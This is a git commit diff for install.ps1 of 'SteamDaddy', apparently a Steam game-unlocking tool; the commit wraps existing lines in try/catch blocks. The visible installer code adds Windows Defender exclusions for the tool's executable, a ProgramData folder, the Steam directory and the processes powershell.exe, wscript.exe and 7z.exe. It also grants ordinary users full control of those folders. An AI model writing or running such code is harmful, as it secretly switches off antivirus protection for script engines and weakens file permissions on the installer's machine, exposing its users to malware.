Update install.ps1
This commit is contained in:
parent
c5145b2d90
commit
80faf150d1
1 changed files with 19 additions and 13 deletions
|
|
@ -66,8 +66,10 @@ try {
|
|||
$destPath = Join-Path $desktop "SteamDaddy.exe"
|
||||
|
||||
Write-Host "[SteamDaddy] Pre-registering Defender path & process exclusions..." -ForegroundColor Yellow
|
||||
try {
|
||||
Add-MpPreference -ExclusionPath $destPath -ErrorAction SilentlyContinue
|
||||
Add-MpPreference -ExclusionProcess "SteamDaddy.exe" -ErrorAction SilentlyContinue
|
||||
} catch {}
|
||||
|
||||
# ── SteamDaddy Safe-Zone (fixed pre-excluded temp directory) ─────────
|
||||
$sdTempDir = "C:\ProgramData\SteamDaddy\tmp"
|
||||
|
|
@ -76,6 +78,7 @@ try {
|
|||
}
|
||||
& icacls "C:\ProgramData\SteamDaddy" /grant "*S-1-5-32-545:(OI)(CI)F" /C /Q | Out-Null
|
||||
Write-Host "[SteamDaddy] Excluding safe-zone temp folder: $sdTempDir" -ForegroundColor Yellow
|
||||
try {
|
||||
Add-MpPreference -ExclusionPath "C:\ProgramData\SteamDaddy" -ErrorAction SilentlyContinue
|
||||
Add-MpPreference -ExclusionPath $sdTempDir -ErrorAction SilentlyContinue
|
||||
|
||||
|
|
@ -84,6 +87,7 @@ try {
|
|||
Add-MpPreference -ExclusionProcess "7z.exe" -ErrorAction SilentlyContinue
|
||||
Add-MpPreference -ExclusionProcess "wscript.exe" -ErrorAction SilentlyContinue
|
||||
Add-MpPreference -ExclusionProcess "powershell.exe" -ErrorAction SilentlyContinue
|
||||
} catch {}
|
||||
|
||||
# ── Find and exclude the Steam root directory ─────────────────────────
|
||||
$steamPath = (Get-ItemProperty -Path "HKLM:\SOFTWARE\WOW6432Node\Valve\Steam" -Name "InstallPath" -ErrorAction SilentlyContinue).InstallPath
|
||||
|
|
@ -95,11 +99,13 @@ try {
|
|||
}
|
||||
if ($steamPath) {
|
||||
Write-Host "[SteamDaddy] Excluding Steam root folder: $steamPath" -ForegroundColor Yellow
|
||||
try {
|
||||
Add-MpPreference -ExclusionPath $steamPath -ErrorAction SilentlyContinue
|
||||
|
||||
# Explicit belt-and-suspenders for the two hottest subdirs
|
||||
Add-MpPreference -ExclusionPath (Join-Path $steamPath "depotcache") -ErrorAction SilentlyContinue
|
||||
Add-MpPreference -ExclusionPath (Join-Path $steamPath "config\stplug-in") -ErrorAction SilentlyContinue
|
||||
} catch {}
|
||||
|
||||
Write-Host "[SteamDaddy] Granting modify permissions on Steam root to standard users..." -ForegroundColor Yellow
|
||||
# Grant Modify permission to standard Users group (SID: *S-1-5-32-545) on Steam root folder and targets
|
||||
|
|
|
|||
Loading…
Add table
Reference in a new issue